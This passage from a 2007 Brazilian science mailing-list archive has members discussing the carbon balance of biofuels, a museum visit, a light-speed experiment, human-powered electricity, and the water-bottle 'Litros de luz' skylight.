dos ecossistemas, e por Dominick Spracklen, professor da Universidade de
Leeds (Grã-Bretanha).

O balanço ecológico dos biocombustíveis em muitos casos é criticado com base
na comparação entre a energia gasta para produzí-los e aquela que eles
fornecem. O saldo é geralmente bastante medíocre, e até mesmo negativo.

Mas a abordagem de Renton Righelato e de Dominick Spracklen é mais original:
eles procuraram comparar as emissões de gás carbônico economizadas pelas
culturas de biocombustíveis, com aquelas evitadas por outras formas de
utilização do solo. Ao compilarem um grande número de estudos, eles
compararam os balanços das diferentes formas de utilização do solo: a
cana-de-açúcar, o trigo, o milho ou a beterraba, destinados à produção de
etanol ou de diesel, a conversão de florestas tropicais em culturas, a
conversão de culturas em florestas etc.

Por exemplo, a cultura do trigo para produzir etanol permite evitar, ao
substituir o petróleo, entre 0,2 e 0,6 tonelada de gás carbônico por hectare
por ano. Mas a conversão, nos Estados Unidos, de culturas em florestas de
pinhos permite (por meio do crescimento das árvores) economizar 3,2
toneladas de gás carbônico por hectare por ano. Portanto, seria mais
interessante dedicar-se à cultura de árvores do que cultivar cereais
destinadas a fazer com que os automóveis possam andar.

A cana-de-açúcar possui o melhor rendimento dentre os biocombustíveis
existentes: cerca de 2 toneladas por hectare de emissões evitadas. Mas isso
é muito menos do que aquilo que a transformação de culturas em floresta
tropical permitiria economizar (entre 4 e 8 toneladas por hectare), e muito
mais desastroso se a cana-de-açúcar for desenvolvida por meio do
desmatamento (que "custa" cerca de 200 toneladas por hectare, por ano de
emissões).

No total, constatam os pesquisadores, se os dirigentes políticos quiserem
mesmo privilegiar o balanço ecológico, "o melhor que eles teriam por fazer
seria se concentrar na melhoria da eficiência energética dos combustíveis
fósseis, de conservar as florestas e as savanas, e de restaurarem as
florestas naturais e as pradarias em relação às terras que não são
necessárias para a alimentação".

Além de tudo, esta abordagem apresentaria vantagens em matéria de
biodiversidade e de saúde dos ecossistemas.

Tradução: Jean-Yves de Neufville


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Musée des arts et métiers
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 16:37

Hoje visitei o Musée des arts et métiers, que eh um museu de
historia da ciencia e tecnologia.

Tirei varias fotos.
http://picasaweb.google.com.br/contatopsn/MusEDesArtsEtMTiers

Algumas fotos estão sem descrição pq eu não sei o que é. hehe

Vi alguns instrumentos do laboratorio de Lavoisier, o Pai. :-)

Aposto que o Leo vai gostar dos 'brinquedinhos'.

Mais informacoes no site do museu.
http://www.arts-et-metiers.net/

Ateh
Luis Brudna

=-=


SUBJECT: P/ Abdoral, sobre a recente experiência com a velocidade da luz..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 18:10

Olá Abdoral

Este texto, bem, beeeem, simplificado, tenta esclarecer sua confusão
com relação a "quebra" do limite da velocidade da luz, prevista pela
teoria da relatividade. Tente entender, pelo amor de Einstein..:-)

E, por favor, o texto abaixo é para LEIGOS, se eu tentasse postar as
equações relevantes, tanto da relatividade, quanto da experiência
citada, você teria seus neurônios queimados..:-)
Homero
_______________________________________

...
Para outros especialistas, no entanto, Einstein pode descansar
tranqüilo em seu túmulo. Os dois alemães não ultrapassaram a
velocidade da luz coisa nenhuma. Seria só uma questão de interpretação
de dados da física complexos o suficiente para dar nó na cabeça de
qualquer mortal.

Aephraim Steinberg, da Universidade de Toronto, explicou ao portal
"Eurekalert" o que pode ter causado a confusão. Ele compara o
experimento dos fótons com um trem deixando uma estação com 20 vagões.

No momento em que o vagão central deixa a estação, uma pessoa aciona
um cronômetro, para observar a velocidade do trem. Conforme chega nas
suas paradas programadas, o trem deixa alguns vagões pelo caminho. Ao
chegar ao destino final, há apenas dois vagões. Se o cronômetro for
parado no momento em que o centro do trem chega, vai parecer que ele
veio a uma velocidade muito maior que a real. "Se você está nas
estações, vai parecer que essas pessoas ultrapassaram os limites de
velocidade. Elas chegaram antes do previsto. Mas você só está vendo
aquelas que estavam no primeiro vagão. Elas tiveram uma vantagem, mas
nunca estiveram rápidas demais".
...

http://g1.globo.com/Noticias/Ciencia/0,,MUL89334-5603-6240,00.html



SUBJECT: Ops, errei de lista..:-) - Re: P/ Abdoral, sobre a recente experiência ...
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 18:49

Olá pessoal

Peço desculpas, o texto anterior deveria ter sido postado apenas em
outra lista, como explicação sobre este experimento.

Por favor, desconsiderem a mensagem..:-)

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Abdoral
>
> Este texto, bem, beeeem, simplificado, tenta esclarecer sua confusão
> com relação a "quebra" do limite da velocidade da luz, prevista pela
> teoria da relatividade. Tente entender, pelo amor de Einstein..:-)
>
> E, por favor, o texto abaixo é para LEIGOS, se eu tentasse postar as
> equações relevantes, tanto da relatividade, quanto da experiência
> citada, você teria seus neurônios queimados..:-)
> Homero
> _______________________________________
>
> ...
> Para outros especialistas, no entanto, Einstein pode descansar
> tranqüilo em seu túmulo. Os dois alemães não ultrapassaram a
> velocidade da luz coisa nenhuma. Seria só uma questão de interpretação
> de dados da física complexos o suficiente para dar nó na cabeça de
> qualquer mortal.
>
> Aephraim Steinberg, da Universidade de Toronto, explicou ao portal
> "Eurekalert" o que pode ter causado a confusão. Ele compara o
> experimento dos fótons com um trem deixando uma estação com 20 vagões.
>
> No momento em que o vagão central deixa a estação, uma pessoa aciona
> um cronômetro, para observar a velocidade do trem. Conforme chega nas
> suas paradas programadas, o trem deixa alguns vagões pelo caminho. Ao
> chegar ao destino final, há apenas dois vagões. Se o cronômetro for
> parado no momento em que o centro do trem chega, vai parecer que ele
> veio a uma velocidade muito maior que a real. "Se você está nas
> estações, vai parecer que essas pessoas ultrapassaram os limites de
> velocidade. Elas chegaram antes do previsto. Mas você só está vendo
> aquelas que estavam no primeiro vagão. Elas tiveram uma vantagem, mas
> nunca estiveram rápidas demais".
> ...
>
> http://g1.globo.com/Noticias/Ciencia/0,,MUL89334-5603-6240,00.html
>




SUBJECT: Fw: Transformação energética
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 19/08/2007 18:52

Que respondo, que o corpo humano não dispõe de potência mecânica nem para manter uma lâmpada de 100 W acesa por 5 minutos?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Cezar Barbosa Santolin" <cezarsantolin@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: sexta-feira, 17 de agosto de 2007 19:28
Assunto: Re: Transformação energética


|
| Bom, deixe lhe explicar melhor. Sou acadêmico e estou verificando a
| viabilidade de uma pesquisa que visa determinar o custo/benefício da
| transformação da energia mecânica humana em energia elétrica para
| armazenamento e utilização, pretendendo, dessa forma, atuar no incentivo à
| prática de atividade física (combate ao sedentarismo e obesidade), além de
| atuar como meio alternativo de produção energético, reduzindo as
| conseqüências da intensificação do aquecimento global.
| Espero que não esteja lhe incomodando, porém se você puder me fornecer um
| parecer geral sobre a idéia e indicar, talvez, algumas leituras seria de
| muita valia.
|
| Novamente agradeço a atenção
| Atenciosamente, Cezar Santolin.
|
| >From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
| >Reply-To: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
| >To: "Cezar Barbosa Santolin" <cezarsantolin@hotmail.com>
| >Subject: Re: Transformação energética
| >Date: Fri, 17 Aug 2007 10:49:03 -0300
| >
| >Como é essa 'energia mecânica' que vc tem disponível? É no braço?
| >
| >[]'
| > ===========================
| > Luiz Ferraz Netto [Léo]
| > leobarretos@uol.com.br
| > http://www.feiradeciencias.com.br/doacoes.asp
| > ===========================
| >-----Mensagem Original-----
| >De: "Cezar Barbosa Santolin" <cezarsantolin@hotmail.com>
| >Para: <leobarretos@uol.com.br>
| >Enviada em: quinta-feira, 16 de agosto de 2007 20:48
| >Assunto: Transformação energética
| >
| >
| >| Bom dia professor!
| >| Caso eu queira transformar energia mecânica em energia elétrica, quais
| >| equipamentos seriam necessários?
| >| Desde já agradeço.
| >| Atenciosamente,
| >| Cezar Santolin
| >|
| >| _________________________________________________________________
| >| Inscreva-se no novo Windows Live Mail beta e seja um dos primeiros a
| >testar
| >| as novidades-grátis. Saiba mais:
| >|
| >http://www.ideas.live.com/programpage.aspx?versionId=5d21c51a-b161-4314-9b0e-4911fb2b2e6d
| >|
| >|
| >|
| >| --
| >| No virus found in this incoming message.
| >| Checked by AVG Free Edition.
| >| Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date:
| >12/08/2007 11:03
| >|
| >|
|
| _________________________________________________________________
| Descubra como mandar Torpedos do Messenger para o celular!
| http://mobile.msn.com/
|
|
|
| --
| Internal Virus Database is out-of-date.
| Checked by AVG Free Edition.
| Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007 11:03
|
|


SUBJECT: Fw: ENERGIA EL�TRICA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 20/08/2007 10:08

Quem viu algo disso? Pois nem sei do que essa consulente está falando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: rosinesrc@hotmail.com
Para: leobarretos@uol.com.br
Enviada em: domingo, 19 de agosto de 2007 21:47
Assunto: ENERGIA ELÉTRICA


Gostaria saber qual a explicação para a geração de nergia elétrica a partir da água sanitária = água. Matéria exibida no globo reporter com o título de Litros de luz
Prof. Rosines


--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007 11:03


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/08/2007 11:09

A matéria em questão encontra-se em
http://video.globo.com/Videos/Player/Noticias/0,,GIM681129-7823-LITROS+DE+LUZ,00.html .
A idéia é original e engenhosa, mas não se trata de geração de energia
elétrica. A desvantagem óbvia é que o invento não funciona à noite, quando
seria mais necessário...

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Monday, August 20, 2007 10:08 AM
Subject: [ciencialist] Fw: ENERGIA ELÉTRICA


Quem viu algo disso? Pois nem sei do que essa consulente está falando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: rosinesrc@hotmail.com
Para: leobarretos@uol.com.br
Enviada em: domingo, 19 de agosto de 2007 21:47
Assunto: ENERGIA ELÉTRICA


Gostaria saber qual a explicação para a geração de nergia elétrica a partir
da água sanitária = água. Matéria exibida no globo reporter com o título de
Litros de luz
Prof. Rosines


--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007
11:03


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: Fw: ENERGIA ELÉTRICA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 11:41

http://globoreporter.globo.com/Globoreporter/0,19125,VGC0-2703-17305-3-283127,00.html

Na verdade é apenas uma garrafa pet transparente cheia de água q atua
como um difusor de luz solar. Não envolve geração de energia elétrica.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Quem viu algo disso? Pois nem sei do que essa consulente está falando!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: rosinesrc@...
> Assunto: ENERGIA ELÉTRICA
>
>
> Gostaria saber qual a explicação para a geração de nergia elétrica a
partir da água sanitária = água. Matéria exibida no globo reporter com
o título de Litros de luz
> Prof. Rosines




SUBJECT: Re: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: "Marcio ABS" <servusdei2001@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/08/2007 11:42

http://video.globo.com/Videos/Player/Noticias/0,,GIM681129-7823-LITROS+DE+LUZ,00.html

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Monday, August 20, 2007 10:08 AM
Subject: [ciencialist] Fw: ENERGIA ELÉTRICA


Quem viu algo disso? Pois nem sei do que essa consulente está falando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: rosinesrc@hotmail.com
Para: leobarretos@uol.com.br
Enviada em: domingo, 19 de agosto de 2007 21:47
Assunto: ENERGIA ELÉTRICA

Gostaria saber qual a explicação para a geração de nergia elétrica a partir da água sanitária = água. Matéria exibida no globo reporter com o título de Litros de luz
Prof. Rosines

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Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007 11:03

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] União cobra R$ 54 mi de ex-bolsistas do CNPq e Capes
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 12:16

http://www1.folha.uol.com.br/folha/educacao/ult305u321225.shtml
----------------
[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 12:23

A matéria a qual a Prof Rosines se refere ets no link
http://globoreporter.globo.com/Globoreporter/0,19125,VGC0-2703-17305-3-283127,00.html

Na verdade a "energia elétrica" é a própria luz solar.

Aline




----- Mensagem original ----
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Para: ciencialist <ciencialist@yahoogrupos.com.br>
Enviadas: Segunda-feira, 20 de Agosto de 2007 10:08:47
Assunto: [ciencialist] Fw: ENERGIA ELÉTRICA


Quem viu algo disso? Pois nem sei do que essa consulente está falando!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: rosinesrc@hotmail.com
Para: leobarretos@uol.com.br
Enviada em: domingo, 19 de agosto de 2007 21:47
Assunto: ENERGIA ELÉTRICA


Gostaria saber qual a explicação para a geração de nergia elétrica a partir da água sanitária = água. Matéria exibida no globo reporter com o título de Litros de luz
Prof. Rosines


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Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007 11:03


[As partes desta mensagem que não continham texto foram removidas]



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/08/2007 13:30

OK, Roberto, Márcio e Aline,

gostei da 'engenhoca'. Obviamente as 'telhas de vidro' foram inventadas para isso! Penas que poucos delas se utilizam. As casas dotadas de lajes e forros não podem usufruir dessa energia solar para aquecimento e iluminação (pelo menos na técnica apresentada); ou seja, zilhares de casas têm de manter as fluorescentes acesas durante o dia. Os apartamentos terão uma certa dificuldade para usar tal engenhoca; acredito.
Ele fixa a garrafa na telha com massa plástica? Durepoxi? cola de sapateiro? superbonder? chicletes? cola para aquário? esparadrapo? durex? cimento? barro? ...........
No meu rancho (que tem forro de madeira) tenho 6 telhas de vidro, não para iluminação e sim para impedir que entre o telhado e o forro torne-se moradia de morcegos. Se alguém tiver outra solução, estou aceitando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Aline Santos" <haline_santos@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 20 de agosto de 2007 12:23
Assunto: Res: [ciencialist] Fw: ENERGIA ELÉTRICA


A matéria a qual a Prof Rosines se refere ets no link
http://globoreporter.globo.com/Globoreporter/0,19125,VGC0-2703-17305-3-283127,00.html

Na verdade a "energia elétrica" é a própria luz solar.

Aline




SUBJECT: Re: [ciencialist] [RN] União cobra R$ 54 mi de ex-bolsistas do CNPq e Capes
FROM: "Thiago Stein Parra" <seriall@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 16:10

A situação é delicada, pois infelizmente o Brasil nem sempre dispõe de
maneiras adequadas para recepcionar os novos cientistas e garantir que
possam, de fato, desenvolver suas pesquisas e ter um padrão de vida
razoável.

No entanto, as regras para concessão de bolsas é clara, e de conhecimento
prévio dos bolsistas.
Sendo assim, apesar de reconhecer as dificuldades enfrentadas por nossos
cientistas, acredito que a cobrança é devida, e destaco esta parte da
matéria:

""Se a obrigação [voltar ao Brasil] não foi cumprida (...) significa que
recursos pertencentes à sociedade brasileira, sabidamente escassos, foram
empregados em proveito pessoal do bolsista e, até mesmo, em proveito do país
que passou a abrigá-lo", disse na decisão o relator, Augusto Cavalcanti. "

THiago Stein Parra


On 8/20/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> http://www1.folha.uol.com.br/folha/educacao/ult305u321225.shtml
> ----------------
> []s,
>
> Roberto Takata
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Biocombustíveis apresentam balanço ecológico medíocre
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 17:19

Olá a todos!
Eu, Tipoalgo, sou incompetente para argumentar sobre o assunto!
Felizmente existem aqueles que conhecem o assunto.
Com a palavra, o criador do Proálcool.

----- Original Message -----
From: "J.W.Bautista vidal" <bautistav arrrrrooooba uol.com.br>
To: <thomas arroooobaaa fendel.com.br>
Sent: Sunday, August 12, 2007 12:17 AM
Subject: A Empresa de Agroenergias-EBA



A Empresa de Agroenergias - EBA e a Segurança
Alimentar



Criou-se um debate equivocado sobre os impactos da ampliação da
produção de energias renováveis e limpas vegetais sobre a produção de
alimentos, como se a fome e a miséria fosse decorrente da falta de
alimentos e devido à ocupação das áreas de produção de alimentos por
produtores de energias vegetais. Na realidade, o mundo produz 30%
mais alimentos do que necessita, segundo indicação da FAO. Esse
alimento porém não é acessível para os que têm fome, os excluídos.
Não adianta portanto produzir mais alimentos para suprir aos famintos
pois estes não têm meios para adquiri-los devido a modelo econômico
opressor e desigual.

Enquanto isto, segundo a FAO, somente no Brasil existem 80 milhões de
hectares de terras agricultáveis ociosas, terras sem produção. As
indicações do IBGE dão valores muito maiores. Si essas terras forem
usadas na produção de alimentos isso em nada adiantaria para superar
a situação atual de grande número de seres humanos vítimas da fome.
Eles não dispõem de poder de compra, por desemprego, má distribuição
da renda, falta de políticas públicas de efeitos sociais positivos e
muitas outras razões fruto de modelo econômico perverso, socialmente
excludente. O uso de terras ociosas na produção de energias vegetais
renováveis não é necessariamente causa da falta de alimentos ou da
fome. Cuidados entretanto devem ser tomados para evitar que a
produção de energias alimentares sejam substituídas pela produção de
energias para outros fins. Isto deve ser objeto de inteligente
regulamentação especifica.

Se criarmos condições para dar trabalho e renda para a maioria desses
excluídos, a situação mudaria de modo substantivo, privilegiando a
produção de alimentos, sem prejudicar iniciativas que favoreçam a
criação de trabalho e renda para os excluídos e a população em geral.

Assim, as imensas potencialidades de mercado criadas pelo ocaso do
petróleo e a possível substituição pelas energias vegetais produzidas
por pequenos produtores em países ditos pobres, visando a superação
do colapso dos combustíveis fósseis, controlados de modo absoluto
pelos países ricos, a situação tenderia a provocar câmbios muito
positivos do ponto de vista social, econômico e ambiental.

Isso exige porém mudanças no modelo opressor imposto pelos ricos e
apoiado pelo setor financeiro do governo. O poder institucional de
controle exercido por corporações estrangeiras dos países ditos ricos
sobre esses combustíveis fósseis é avassalador, embora esses
combustíveis estejam em declínio e esses países apresentam fraturas
irreversíveis que podem ser superadas pela produção energética de
países pobres, especialmente nas regiões tropicais do planeta, muito
ricas em energias renováveis. A situação de ocaso dos fósseis, não
renováveis e sujos do ponto de vista ambiental, ademais leva o mundo
à guerra entre nações militarmente hegemônicas, visando ao domínio do
que resta das reservas de petróleo.

O contrário ocorre com as energias vegetais renováveis que duram
enquanto houver radiação solar e têm assim uma longa perspectiva
histórica de promoção da paz. Esta excepcional perspectiva somente se
transformará em realidade se for mudado o modelo de domínio absoluto
dos países ricos sobre os pobres por meio do capital financeiro, que
emitem de modo arbitrário. Esses países são carentes de potenciais
energéticos naturais, tendo origem no grande manancial que é o Sol.
Os combustíveis fósseis também se originam no Sol, mas necessitam de
centenas de milhões de anos para se formarem, passando pelos hidratos
de carbono produzidos nas plantas pela fotossíntese. O óleo de
girassol, excelente substituto do óleo diesel do petróleo, leva
apenas cerca de dois meses para produzir suas sementes
oleaginosas .... Ou seja, os combustíveis vegetais antecipam em
milhões de anos aqueles de origem fóssil.

É o confronto entre o artifício de um sistema monetário decadente e
insustentável – a tão falada bolha financeira - e a pujança da
natureza de um sistema sustentável, baseado na fusão nuclear, somente
possível nas condições de elevadíssimas temperaturas alcançadas nos
núcleos das estrelas, astros com luz própria. O Sol é a nossa
estrela, é o único reator a fusão nuclear possível no nosso sistema
planetário, parte essencial da natureza e de conseqüências
energéticas predominantes nos trópicos. Trata-se por isso do
confronto de um sistema monetário dominado por grupos militarmente
hegemônicos de modo arbitrário e a pujança da natureza, especialmente
preponderante no campo energético nas regiões tropicais.

Como o único continente tropical, o Brasil pode assumir ante o mundo
a postura consciente e concreta, que lhe permite afirmar, em
linguagem popular: "o Sol é nosso". O sol e as agro energias,
substitutas vantajosas das energias fósseis em declínio e
provocadores do aquecimento global tão danoso para as futuras
condições ambientais do planeta, conforme atesta os dramáticos
relatos recentes da comissão especializada das Nações Unidas, frutos
de muitos anos de estudo de centenas de cientistas de várias partes
do mundo.

Não é por meio da fissão nuclear, Angra III, que produz calor e não
enfrenta o colapso dos combustíveis líquidos derivados do petróleo,
que iremos encaminhar soluções para os problemas energéticos
mundiais.

O Brasil lidera nesse campo uma nova civilização, a da fotossíntese,
que transforma a energia solar, de complexo uso direto, em energias
vegetais de fácil produção por pequenos produtores rurais e uso
tecnológico garantido. Nessas condições, no Brasil, sem exclusão de
outros países, podem ser montados pólos de produção de energias
renováveis e limpas envolvendo centenas de milhares de produtores e
milhões de novos postos de trabalho, tendo como exemplo o pólo que
está sendo implantado na região de Palmeira das Missões, RS, que
envolve mais de 60 mil pequenos produtores, em 22 municípios.

O espectro de materiais primas vegetais é enorme, agregados sob a
designação genérica de biomassa e têm por base os açúcares, os amidos
e a celulose. Está última com imenso potencial devido às florestas
tropicais, submetidas a regime de necessária renovação quando
utilizadas. Surge a concreta possibilidade de surgimento no Brasil da
figura do fazendeiro florestal, que planta florestas como complemento
de outras culturas ou com produção exclusiva, para abastecer de
matéria prima energética termoelétricas com lenha ou carvão vegetal,
para suprir de eletricidade vastas regiões do País por onde não
passam linhas de transmissão – de elevados custos - ou não tenham
abaixadoras de energia de linhas existentes. Pode-se também usar
óleos vegetais de alta eficiência produtiva e baixos custos na
produção de eletricidade, onde as condições sejam favoráveis.

É possível assim, no Brasil, pelas imensas extensões agrícolas
desocupadas ou as áreas degradadas pelo desflorestamento serem
criadas um grande número de pólos tendo por base a agricultura
familiar e o uso de biomassa que responde com eficiência às
necessidades da população e lhe permite desenvolver-se com a
necessária disponibilidade de energia. A implantação de micro usinas
de álcool, com tecnologia de elevada eficiência, permite produzir
álcool etílico (etanol) por custos baixíssimos, por meio da produção
simultânea de vários produtos de elevado valor agregado: aguardente,
carne e leite, açúcar mascavo e adubo orgânico.

Com o uso do bagaço de cana e vinhoto dessas usinas consegue-se
alimentar cerca de 80 cabeças de gado confinado que produzem adubo
orgânico de baixo custo em substituição aos fertilizantes
industriais. Isto é de grande importância na agricultura em geral,
sob o controle dos produtores.

Apesar da comprovada resposta positiva do pequeno produtor e da
agricultura familiar, é indispensável o apoio do Estado por meio de
uma empresa de economia mista para a área das energias renováveis, a
Empresa Brasiléia de Agroenergias – EBA, para apoiar esses pequenos
produtores naquilo que eles não têm condições de assumir. Essa
Empresa é absolutamente necessária para apoiá-los na gestão de um
grande número de produtores rurais, distribuídos em um grande número
de pólos energéticos; no desenvolvimento tecnológico permanente e na
distribuição, especialmente nas exportações para mercados de elevados
potenciais que surgem como decorrência do declínio do petróleo, do
qual dependem de modo vital, como Japão, Alemanha, China e muitos
outros. Há necessidade de infra-estruturas de recepção e de
distribuição, de altos custos, nos locais de destino dos combustíveis
e que o pequeno produtor não tem condições, exigindo uma empresa de
porte que possa assumir sua implantação.

Dito isto, cabe ao povo brasileiro criar instrumentos operativos, com
denoto e competência, para exercer sua vocação natural, essencial
para garantir um futuro de tranqüilidade para a humanidade, somente
possível com um Estado que represente com altivez e responsabilidade
o seu povo. O mundo nos observa atento, surpreso e com grandes
esperanças para um futuro em que o Brasil assuma a liderança devido a
suas excepcionais vantagens comparativas naturais. Estamos porém sem
esses instrumentos operativos que nos permitam arcar com tão grandes
responsabilidades e possamos obter portanto enormes efeitos positivos
nas áreas sociais, econômicas e ambientais

O Estado é a instituição que executa o projeto de um povo seguindo
suas vocações, especialmente as naturais, de papel tão importante no
futuro do Brasil e do mundo.

Daí a explicação para projeto em marcha dos povos hoje hegemônicos
que desejam enfraquecer o Estado brasileiro pela transferência para o
controle externo de suas principais instituições da área energética
renovável e de seu território, setores estratégicos que comprometem a
soberania nacional e a libertação do País de dependência estrangeira
desnecessária.

Ademais, a produção de combustíveis vegetais quase sempre vem
associada à produção adicional de energias alimentares com conteúdos
protéicos, como a alimentação de animais a partir da folha da
mandioca; a criação de gado e outros animais, nas micro usinas de
álcool, alimentados com bagaço de cana de açúcar e vinhoto; as rações
animais produzidas com os resíduos sólidos após a retirada dos óleos
combustíveis de plantas oleaginosas, entre muitos outros exemplos.

Cabe-nos assim reagir a este equívoco, estruturando uma nova linha
de produção energética, baseada no pequeno produtor rural, vítima de
injustificada miséria, em grande quantidade, para responder a imensa
demanda nacional e mundial provocada pela escassez de petróleo e seus
preços ascendentes.

Ou seja, precisamos de um projeto nacional no campo estratégico das
energias renováveis e limpas, devidamente aparelhado com eficientes
instrumentos de ação e com poder e independência para redimir o nosso
povo da miséria que o oprime e promover ponderável salto econômico do
País, tendo por base excepcionais fatores comparativos naturais de
produção.



Brasília,
Agosto de 2007



José Walter
Bautista Vidal



algum comentário
--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu
>
> 18/08/2007
> Biocombustíveis apresentam balanço ecológico medíocre
> Hervé Kempf
> Le Monde
>
> A utilização dos biocombustíveis não permitirá sistematicamente
limitar as
> emissões de gases de efeito estufa, e seria mais eficiente
conservar o meio
> ambiente em bom estado: esta é a conclusão de um estudo que foi
publicado na
> revista "Science", na sexta-feira, 17 de agosto, e co-assinado por
Renton
> Righelato, da World Land Trust, uma organização que se dedica à
conservação
> dos ecossistemas, e por Dominick Spracklen, professor da
Universidade de
> Leeds (Grã-Bretanha).
>
> O balanço ecológico dos biocombustíveis em muitos casos é criticado
com base
> na comparação entre a energia gasta para produzí-los e aquela que
eles
> fornecem. O saldo é geralmente bastante medíocre, e até mesmo
negativo.
>
> Mas a abordagem de Renton Righelato e de Dominick Spracklen é mais
original:
> eles procuraram comparar as emissões de gás carbônico economizadas
pelas
> culturas de biocombustíveis, com aquelas evitadas por outras formas
de
> utilização do solo. Ao compilarem um grande número de estudos, eles
> compararam os balanços das diferentes formas de utilização do solo:
a
> cana-de-açúcar, o trigo, o milho ou a beterraba, destinados à
produção de
> etanol ou de diesel, a conversão de florestas tropicais em
culturas, a
> conversão de culturas em florestas etc.
>
> Por exemplo, a cultura do trigo para produzir etanol permite
evitar, ao
> substituir o petróleo, entre 0,2 e 0,6 tonelada de gás carbônico
por hectare
> por ano. Mas a conversão, nos Estados Unidos, de culturas em
florestas de
> pinhos permite (por meio do crescimento das árvores) economizar 3,2
> toneladas de gás carbônico por hectare por ano. Portanto, seria mais
> interessante dedicar-se à cultura de árvores do que cultivar cereais
> destinadas a fazer com que os automóveis possam andar.
>
> A cana-de-açúcar possui o melhor rendimento dentre os
biocombustíveis
> existentes: cerca de 2 toneladas por hectare de emissões evitadas.
Mas isso
> é muito menos do que aquilo que a transformação de culturas em
floresta
> tropical permitiria economizar (entre 4 e 8 toneladas por hectare),
e muito
> mais desastroso se a cana-de-açúcar for desenvolvida por meio do
> desmatamento (que "custa" cerca de 200 toneladas por hectare, por
ano de
> emissões).
>
> No total, constatam os pesquisadores, se os dirigentes políticos
quiserem
> mesmo privilegiar o balanço ecológico, "o melhor que eles teriam
por fazer
> seria se concentrar na melhoria da eficiência energética dos
combustíveis
> fósseis, de conservar as florestas e as savanas, e de restaurarem as
> florestas naturais e as pradarias em relação às terras que não são
> necessárias para a alimentação".
>
> Além de tudo, esta abordagem apresentaria vantagens em matéria de
> biodiversidade e de saúde dos ecossistemas.
>
> Tradução: Jean-Yves de Neufville
>
>
